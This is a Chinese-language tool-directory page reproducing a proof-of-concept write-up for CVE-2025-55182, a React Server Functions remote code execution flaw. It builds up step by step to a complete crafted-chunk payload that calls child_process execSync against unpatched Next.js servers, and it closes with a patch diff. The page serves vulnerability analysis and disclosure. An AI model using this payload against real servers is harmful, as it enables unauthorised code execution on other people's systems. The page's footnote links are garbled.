Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2025-55182 — CVE-2025-55182 的概念验证利用,通过原型污染和精心制作的 Flight 协议块在 React Server Functions 中实现远程代码执行。 | Kitploit
工具/GitHubGitHub/andressuarezmonk/cve-2025-55182
漏洞分析代码分析漏洞利用Web应用程序漏洞利用学习与教育Payload 开发
GitHubandressuarezmonk/cve-2025-55182

CVE-2025-55182

CVE-2025-55182 的概念验证利用,通过原型污染和精心制作的 Flight 协议块在 React Server Functions 中实现远程代码执行。

查看仓库
9个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2025-55182

原作者:https://github.com/msanft/CVE-2025-55182

该漏洞允许在 React Server Functions 中实现 RCE,例如 Next.js 通过不安全的原型引用所提供的情况。

我不是 React 或 Next.js 方面的专家,因此请对这里的所有信息持保留态度。

背景

React 提供了 Server Functions1,可以将其视为一种基于 HTTP 的 RPC。它们可用于从相邻对等节点获取数据以确保低延迟,或执行客户端缺乏凭据的认证请求。

React 使用所谓的 React Flight Protocol2 序列化传递给 Server Functions 的值。

客户端通过例如表单数据将“chunk”传递给服务器:

root@kitploit:~
files = {
    "0": (None, '["$1"]'),
    "1": (None, '{"object":"fruit","name":"$2:fruitName"}'),
    "2": (None, '{"fruitName":"cherry"}'),
}

如图所示,这些 chunk 之间可以相互引用。上述载荷在服务器端反序列化为以下内容:

root@kitploit:~
{ object: 'fruit', name: 'cherry' }

该格式本身稍微复杂一些,并允许更复杂的序列化和反序列化,但这为理解实际漏洞提供了基础。

漏洞

直到此提交3之前,当遍历 chunk 进行引用解析时,例如从上面示例的 chunk 2 中获取 fruitName,React 没有验证所请求的键是否实际设置在对象上。这允许我们获取对象原型4。

可以通过以下载荷演示:

root@kitploit:~
files = {
    "0": (None, '["$1:__proto__:constructor:constructor"]'),
    "1": (None, '{"x":1}'),
}

它反序列化为函数构造函数5:

root@kitploit:~
[Function: Function]

当 ID 为 0 的 chunk 不是数组而是对象时,我们可以将 then 键设置为函数构造函数。然后该对象由 decodeReplyFromBusboy 函数返回,并被 Next.js 等待(await):

root@kitploit:~
// action-handler.ts:888 (pre-patch)
boundActionArguments = await decodeReplyFromBusboy(
    busboy,
    serverModuleMap,
    { temporaryReferences }
)

当返回一个 thenable 对象时,调用方中的 await 会调用它。这就是以下载荷发生的情况:

root@kitploit:~
files = {
    "0": (None, '{"then":"$1:__proto__:constructor:constructor"}'),
    "1": (None, '{"x":1}'),
}

导致此错误:

root@kitploit:~
SyntaxError: Unexpected token 'function'
    at Object.Function [as then] (<anonymous>) {
      digest: '1259793845'
    }

错误看起来如此,因为 V8 使用内部的 resolve 和 reject 函数调用被 await 的函数,这些函数在被 toString 时序列化为类似如下内容:

root@kitploit:~
function () { [native code] }

利用分析

由于我们可以轻易获取 Function 构造函数,最直接的方法是找到一个调用 gadget,它使用用户控制的值(即函数代码字符串)调用构造函数,然后调用返回的函数。

有多个地方可以调用函数构造函数,例如 resolveServerReference,其中 id 是一个可控对象,lastIndexOf 可以被覆盖以返回一个用户控制的字符串(例如通过 Array.prototype.join),而 slice 可以被覆盖为函数构造函数。然而,这个位置不可用,因为第二次调用 .slice() 时第一个参数是一个数字——据我所知,函数构造函数永远无法处理这个参数。

这时,maple31426 的一个绝妙想法出现了。当 getChunk 获取 ID 为 0 的 chunk 作为根引用来开始解析引用链时,这个相同的 chunk 可以解析为一个精心构造的“假 chunk”。

我们可以通过 $@ 语法在 chunk 1 中引用精心构造的 chunk 0,该语法返回“原始”chunk,而不是其解析后的值:

root@kitploit:~
case "@":
  return (
    (obj = parseInt(value.slice(2), 16)), getChunk(response, obj)
  );

结合我们上面提到的 then 覆盖,我们可以构造如下内容:

root@kitploit:~
files = {
    "0": (None, '{"then": "$1:__proto__:then"}'),
    "1": (None, '"$@0"'),
}

这里,chunk 0 用其自身原始 chunk 表示的 .then() 覆盖了它自己的 .then()。简单来说,我们用 Chunk.prototype.then 覆盖了我们自己的 .then(),因为 Chunk 是 thenable 对象,所以它是存在的:

root@kitploit:~
Chunk.prototype.then = function (resolve, reject) {
      switch (this.status) {
        case "resolved_model":
          initializeModelChunk(this);
      }
      // ...

使用上述载荷,Chunk.prototype.then 最终会被调用,参数为精心构造的 ID 为 0 的 chunk。

如上所示,当我们的假 chunk 上的 .status 为 resolved_model 时:

root@kitploit:~
files = {
    "0": (None, '{"then": "$1:__proto__:then", "status": "resolved_model"}'),
    "1": (None, '"$@0"'),
}

我们进入 initializeModelChunk。在这里,.value 被解析为 JSON,然后在返回的对象上解析引用,使用我们 chunk ID 为 0 和 1 的“外部”上下文:

root@kitploit:~
function initializeModelChunk(chunk) {
    // ...
    var rawModel = JSON.parse(resolvedModel),
        value = reviveModel(chunk._response, { "": rawModel }, "", rawModel, rootReference);
    // ...

在此过程中,我们现在获得了第二次评估的机会,并且由于外部上下文已经被解析,我们可以访问更多值。

在 Flight 协议中处理 blob 数据时有一个调用 gadget,使用的是 $B 前缀:

root@kitploit:~
case "B":
  return (
    (obj = parseInt(value.slice(2), 16)),
    response._formData.get(response._prefix + obj)
  );

利用特殊的 _response 字段,我们可以控制精心构造的 chunk 的 response 属性:

root@kitploit:~
// in initializeModelChunk
value = reviveModel(chunk._response, // ...

这样,我们可以构造一个带有假 ._formData 和 ._prefix 属性的对象:

root@kitploit:~
crafted_chunk = {
    "then": "$1:__proto__:then",
    "status": "resolved_model",
    "reason": -1,
    "value": '{"then": "$B0"}',
    "_response": {
        "_prefix": f"return foo; // ",
        "_formData": {
            "get": "$1:constructor:constructor",
        },
    },
}

需要添加 .reason 以避免在 initializeModelChunk 中的 toString 调用失败:

root@kitploit:~
var rootReference = -1 === chunk.reason ? void 0 : chunk.reason.toString(16), resolvedModel = chunk.value;

通过将 ._formData 指向函数构造函数,并将 ._prefix 指向我们的代码,我们在 blob 反序列化中得到了一个函数构造函数的调用 gadget:

root@kitploit:~
response._formData.get(response._prefix + "0")
// 变为
Function("return foo; // 0")

然后,我们精心构造的函数作为精心构造的 chunk 的 .then() 方法由 parseModelString 返回,并且因为所有这一切都发生在单个 promise 解析链中,这个函数也会被 await。因此,返回一个 thenable 对象后,我们精心构造的函数会被调用。这就构成了上面提到的所需调用 gadget。

将所有内容与实际的 RCE 载荷结合,我们得到类似以下内容:

root@kitploit:~
crafted_chunk = {
    "then": "$1:__proto__:then",
    "status": "resolved_model",
    "reason": -1,
    "value": '{"then": "$B0"}',
    "_response": {
        "_prefix": f"process.mainModule.require('child_process').execSync('calc');",
        "_formData": {
            "get": "$1:constructor:constructor",
        },
    },
}

files = {
    "0": (None, json.dumps(crafted_chunk)),
    "1": (None, '"$@0"'),
}

额外的好处是,该漏洞在反序列化期间发生,而且是在请求的操作在 getActionModIdOrError 中首次验证之前。因此,设置一个像 Next-Action: foo 的头部就足以触发该漏洞。

补丁

通过这次检查,修复了使用 chunk 引用获取原型属性的问题:

root@kitploit:~
@@ -78,7 +80,10 @@ export function preloadModule<T>(
 
 export function requireModule<T>(metadata: ClientReference<T>): T {
   const moduleExports = parcelRequire(metadata[ID]);
-  return moduleExports[metadata[NAME]];
+  if (hasOwnProperty.call(moduleExports, metadata[NAME])) {
+    return moduleExports[metadata[NAME]];
+  }
+  return (undefined: any);
 }

Footnotes

  1. https://raw.githubusercontent.com/andressuarezmonk/cve-2025-55182/master/%3Chttps:/react.dev/reference/rsc/server-functions%3E ↩

  2. https://raw.githubusercontent.com/andressuarezmonk/cve-2025-55182/master/%3Chttps:/tonyalicea.dev/blog/understanding-react-server-components/%3E ↩

  3. https://raw.githubusercontent.com/andressuarezmonk/cve-2025-55182/master/%3Chttps:/github.com/facebook/react/pull/35277/commits/e2fd5dc6ad973dd3f220056404d0ae0a8707998d%3E ↩

  4. https://raw.githubusercontent.com/andressuarezmonk/cve-2025-55182/master/%3Chttps:/developer.mozilla.org/en-US/docs/Learn_web_development/Extensions/Advanced_JavaScript_objects/Object_prototypes%3E ↩

  5. https://raw.githubusercontent.com/andressuarezmonk/cve-2025-55182/master/%3Chttps:/developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/Function%3E ↩

  6. https://raw.githubusercontent.com/andressuarezmonk/cve-2025-55182/master/%3Chttps:/x.com/maple3142%3E

下载工具
↩